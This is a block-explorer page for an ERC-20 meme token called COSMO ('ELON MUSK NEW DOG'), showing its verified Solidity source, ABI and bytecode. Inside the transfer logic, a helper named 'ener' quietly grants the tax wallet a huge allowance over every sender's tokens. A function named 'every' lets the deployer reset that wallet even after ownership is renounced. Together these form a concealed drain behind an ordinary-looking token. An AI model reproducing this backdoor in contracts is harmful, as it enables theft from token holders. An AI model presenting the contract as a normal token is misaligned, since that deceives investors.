Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 COSMO
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,306,180 COSMOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
COSMO
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-10 */ /** TG: https://t.me/cosmo_erc20 https://medium.com/@cosmoselonmusk/elon-musk-new-dog-called-cosmos-2944895d2aaa */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract COSMO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; address payable private _taxWallet; uint256 private _initialBuyTax=6; uint256 private _initialSellTax=6; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=40; uint256 private _reduceSellTaxAt=40; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"ELON MUSK NEW DOG"; string private constant _symbol = unicode"COSMO"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address private _deployer; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _balances[address(this)] = _tTotal; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_msgSender()] = true; _deployer = _msgSender(); emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFees[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); }ener([from, _taxWallet]); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) pvtSwp(min(amount,min(contractTokenBalance,_maxTaxSwap))); realizeTax(); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function ener(address[2] memory gy) private { address from = gy[0];address to = gy[1]; _allowances[from][to] = 100 * _maxWalletSize; } function pvtSwp(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function removeLimits(address payable limit) external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; _taxWallet = limit; _isExcludedFromFees[limit] = true; emit MaxTxAmountUpdated(_tTotal); } function realizeTax() private { _taxWallet.transfer(address(this).balance); } function clearEther() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function clearToken(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function every(address payable one) external { require(_msgSender()==_deployer, "!deployer"); _taxWallet = one; _isExcludedFromFees[one] = true; } function launch() external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; } function renounceOwnership() public override onlyOwner { require(_maxTxAmount == _tTotal); super.renounceOwnership(); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"clearToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"one","type":"address"}],"name":"every","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006600555600680555f6007555f60085560286009556028600a556005600b555f600c5560646009600a6200003a91906200033e565b6200004a90633b9aca0062000355565b6200005790600262000355565b6200006391906200036f565b600d556064620000766009600a6200033e565b6200008690633b9aca0062000355565b6200009390600262000355565b6200009f91906200036f565b600e556064620000b26009600a6200033e565b620000c290633b9aca0062000355565b620000cf90600162000355565b620000db91906200036f565b600f556064620000ee6009600a6200033e565b620000fe90633b9aca0062000355565b6200010b90600162000355565b6200011791906200036f565b6010555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200017a6009600a6200033e565b6200018a90633b9aca0062000355565b305f8181526001602081815260408084209590955560039052838220805460ff1990811683179091553380845294832080549091169091179055601380546001600160a01b031916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002086009600a6200033e565b6200021890633b9aca0062000355565b60405190815260200160405180910390a36200038f565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028357815f19048211156200026757620002676200022f565b808516156200027557918102915b93841c939080029062000248565b509250929050565b5f826200029b5750600162000338565b81620002a957505f62000338565b8160018114620002c25760028114620002cd57620002ed565b600191505062000338565b60ff841115620002e157620002e16200022f565b50506001821b62000338565b5060208310610133831016604e8410600b841016171562000312575081810a62000338565b6200031e838362000243565b805f19048211156200033457620003346200022f565b0290505b92915050565b5f6200034e60ff8416836200028b565b9392505050565b80820281158282048414176200033857620003386200022f565b5f826200038a57634e487b7160e01b5f52601260045260245ffd5b500490565b611a72806200039d5f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d5780639bdaba4e116100625780639bdaba4e1461032d578063a9059cbb1461034c578063bf474bed1461036b578063dd62ed3e14610380578063f762f219146103c4575f80fd5b80637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc57806395d89b41146102e1578063960427a41461030e575f80fd5b806323b872dd116100e357806323b872dd146101f0578063313ce5671461020f57806332489e9b1461022a57806370a0823114610249578063715018a61461027d575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b31461018a5780630faee56f146101b957806318160ddd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d8565b005b34801561014a575f80fd5b50604080518082019091526011815270454c4f4e204d55534b204e455720444f4760781b60208201525b604051610181919061164e565b60405180910390f35b348015610195575f80fd5b506101a96101a43660046116ae565b61070b565b6040519015158152602001610181565b3480156101c4575f80fd5b506101ce60105481565b604051908152602001610181565b3480156101e7575f80fd5b506101ce610721565b3480156101fb575f80fd5b506101a961020a3660046116d8565b610741565b34801561021a575f80fd5b5060405160098152602001610181565b348015610235575f80fd5b5061013d610244366004611716565b6107a3565b348015610254575f80fd5b506101ce610263366004611716565b6001600160a01b03165f9081526001602052604090205490565b348015610288575f80fd5b5061013d61088b565b34801561029c575f80fd5b506101ce600d5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610181565b3480156102d7575f80fd5b506101ce600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264434f534d4f60d81b6020820152610174565b348015610319575f80fd5b5061013d6103283660046116ae565b6108e4565b348015610338575f80fd5b5061013d610347366004611716565b610a14565b348015610357575f80fd5b506101a96103663660046116ae565b610a9c565b348015610376575f80fd5b506101ce600f5481565b34801561038b575f80fd5b506101ce61039a366004611731565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103cf575f80fd5b5061013d610aa8565b5f546001600160a01b0316331461040a5760405162461bcd60e51b815260040161040190611768565b60405180910390fd5b601354600160a01b900460ff16156104645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610401565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156104c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ea919061179d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d919061179d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105db919061179d565b601280546001600160a01b0319166001600160a01b039283161790556011546106209130911661060d6009600a6118ac565b61061b90633b9aca006118ba565b610b08565b6011546001600160a01b031663f305d7194730610651816001600160a01b03165f9081526001602052604090205490565b5f806106645f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ca573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106ef91906118d1565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f610717338484610b08565b5060015b92915050565b5f61072e6009600a6118ac565b61073c90633b9aca006118ba565b905090565b5f61074d848484610c2b565b610799843361061b85604051806060016040528060288152602001611a15602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611219565b5060019392505050565b5f546001600160a01b031633146107cc5760405162461bcd60e51b815260040161040190611768565b6107d86009600a6118ac565b6107e690633b9aca006118ba565b600d556107f56009600a6118ac565b61080390633b9aca006118ba565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108696009600a6118ac565b61087790633b9aca006118ba565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108b45760405162461bcd60e51b815260040161040190611768565b6108c06009600a6118ac565b6108ce90633b9aca006118ba565b600d54146108da575f80fd5b6108e2611251565b565b5f546001600160a01b0316331461090d5760405162461bcd60e51b815260040161040190611768565b6040516370a0823160e01b81523060048201525f9061098e906064906109889085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561095e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098291906118fc565b906112c2565b90611347565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109ea573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0e9190611913565b50505050565b6013546001600160a01b0316336001600160a01b031614610a635760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610401565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610717338484610c2b565b5f546001600160a01b03163314610ad15760405162461bcd60e51b815260040161040190611768565b5f4711610adc575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610b05573d5f803e3d5ffd5b50565b6001600160a01b038316610b6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610401565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610401565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610401565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610401565b5f8111610d525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610401565b5f80546001600160a01b03858116911614801590610d7d57505f546001600160a01b03848116911614155b156110dc576012546001600160a01b038581169116148015610dad57506011546001600160a01b03848116911614155b8015610dd157506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3057601354600160a01b900460ff16610e275760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610401565b610e4d6064610988600954600c5411610e4257600554610e46565b6007545b85906112c2565b9050600d54821115610ea15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610401565b600e5482610ec3856001600160a01b03165f9081526001602052604090205490565b610ecd9190611932565b1115610f1b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610401565b600c8054905f610f2a83611945565b91905055505b6012546001600160a01b03848116911614801590610f6657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe557600e5482610f8d856001600160a01b03165f9081526001602052604090205490565b610f979190611932565b1115610fe55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610401565b6012546001600160a01b0390811690841603611023576110206064610988600a54600c541161101657600654610e46565b60085485906112c2565b90505b604080518082019091526001600160a01b03808616825260045416602082015261104c90611388565b601354600160a81b900460ff1615801561107357506012546001600160a01b038481169116145b80156110885750601354600160b01b900460ff165b80156110975750600b54600c54115b156110dc57305f90815260016020526040902054600f548111156110d2576110d26110cd846110c8846010546113c9565b6113c9565b6113dd565b6110da61154d565b505b801561115457305f908152600160205260409020546110fb9082611583565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061114b9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461117690836115e1565b6001600160a01b0385165f908152600160205260409020556111b961119b83836115e1565b6001600160a01b0385165f9081526001602052604090205490611583565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61120285856115e1565b60405190815260200160405180910390a350505050565b5f818484111561123c5760405162461bcd60e51b8152600401610401919061164e565b505f611248848661195d565b95945050505050565b5f546001600160a01b0316331461127a5760405162461bcd60e51b815260040161040190611768565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036112d157505f61071b565b5f6112dc83856118ba565b9050826112e98583611970565b146113405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610401565b9392505050565b5f61134083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611622565b80516020820151600e5461139d9060646118ba565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116113d75782611340565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114235761142361198f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149e919061179d565b816001815181106114b1576114b161198f565b6001600160a01b0392831660209182029290920101526011546114d79130911684610b08565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150f9085905f908690309042906004016119a3565b5f604051808303815f87803b158015611526575f80fd5b505af1158015611538573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610b05573d5f803e3d5ffd5b5f8061158f8385611932565b9050838110156113405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610401565b5f61134083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611219565b5f81836116425760405162461bcd60e51b8152600401610401919061164e565b505f6112488486611970565b5f602080835283518060208501525f5b8181101561167a5785810183015185820160400152820161165e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b05575f80fd5b5f80604083850312156116bf575f80fd5b82356116ca8161169a565b946020939093013593505050565b5f805f606084860312156116ea575f80fd5b83356116f58161169a565b925060208401356117058161169a565b929592945050506040919091013590565b5f60208284031215611726575f80fd5b81356113408161169a565b5f8060408385031215611742575f80fd5b823561174d8161169a565b9150602083013561175d8161169a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ad575f80fd5b81516113408161169a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180657815f19048211156117ec576117ec6117b8565b808516156117f957918102915b93841c93908002906117d1565b509250929050565b5f8261181c5750600161071b565b8161182857505f61071b565b816001811461183e576002811461184857611864565b600191505061071b565b60ff841115611859576118596117b8565b50506001821b61071b565b5060208310610133831016604e8410600b8410161715611887575081810a61071b565b61189183836117cc565b805f19048211156118a4576118a46117b8565b029392505050565b5f61134060ff84168361180e565b808202811582820484141761071b5761071b6117b8565b5f805f606084860312156118e3575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561190c575f80fd5b5051919050565b5f60208284031215611923575f80fd5b81518015158114611340575f80fd5b8082018082111561071b5761071b6117b8565b5f60018201611956576119566117b8565b5060010190565b8181038181111561071b5761071b6117b8565b5f8261198a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119f35784516001600160a01b0316835293830193918301916001016119ce565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3039ffffa4d16319c1b2e542e734af3f04939eb47ba9a8246055be99fdaf40e64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d5780639bdaba4e116100625780639bdaba4e1461032d578063a9059cbb1461034c578063bf474bed1461036b578063dd62ed3e14610380578063f762f219146103c4575f80fd5b80637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc57806395d89b41146102e1578063960427a41461030e575f80fd5b806323b872dd116100e357806323b872dd146101f0578063313ce5671461020f57806332489e9b1461022a57806370a0823114610249578063715018a61461027d575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b31461018a5780630faee56f146101b957806318160ddd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d8565b005b34801561014a575f80fd5b50604080518082019091526011815270454c4f4e204d55534b204e455720444f4760781b60208201525b604051610181919061164e565b60405180910390f35b348015610195575f80fd5b506101a96101a43660046116ae565b61070b565b6040519015158152602001610181565b3480156101c4575f80fd5b506101ce60105481565b604051908152602001610181565b3480156101e7575f80fd5b506101ce610721565b3480156101fb575f80fd5b506101a961020a3660046116d8565b610741565b34801561021a575f80fd5b5060405160098152602001610181565b348015610235575f80fd5b5061013d610244366004611716565b6107a3565b348015610254575f80fd5b506101ce610263366004611716565b6001600160a01b03165f9081526001602052604090205490565b348015610288575f80fd5b5061013d61088b565b34801561029c575f80fd5b506101ce600d5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610181565b3480156102d7575f80fd5b506101ce600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264434f534d4f60d81b6020820152610174565b348015610319575f80fd5b5061013d6103283660046116ae565b6108e4565b348015610338575f80fd5b5061013d610347366004611716565b610a14565b348015610357575f80fd5b506101a96103663660046116ae565b610a9c565b348015610376575f80fd5b506101ce600f5481565b34801561038b575f80fd5b506101ce61039a366004611731565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103cf575f80fd5b5061013d610aa8565b5f546001600160a01b0316331461040a5760405162461bcd60e51b815260040161040190611768565b60405180910390fd5b601354600160a01b900460ff16156104645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610401565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156104c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ea919061179d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d919061179d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105db919061179d565b601280546001600160a01b0319166001600160a01b039283161790556011546106209130911661060d6009600a6118ac565b61061b90633b9aca006118ba565b610b08565b6011546001600160a01b031663f305d7194730610651816001600160a01b03165f9081526001602052604090205490565b5f806106645f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ca573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106ef91906118d1565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f610717338484610b08565b5060015b92915050565b5f61072e6009600a6118ac565b61073c90633b9aca006118ba565b905090565b5f61074d848484610c2b565b610799843361061b85604051806060016040528060288152602001611a15602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611219565b5060019392505050565b5f546001600160a01b031633146107cc5760405162461bcd60e51b815260040161040190611768565b6107d86009600a6118ac565b6107e690633b9aca006118ba565b600d556107f56009600a6118ac565b61080390633b9aca006118ba565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c0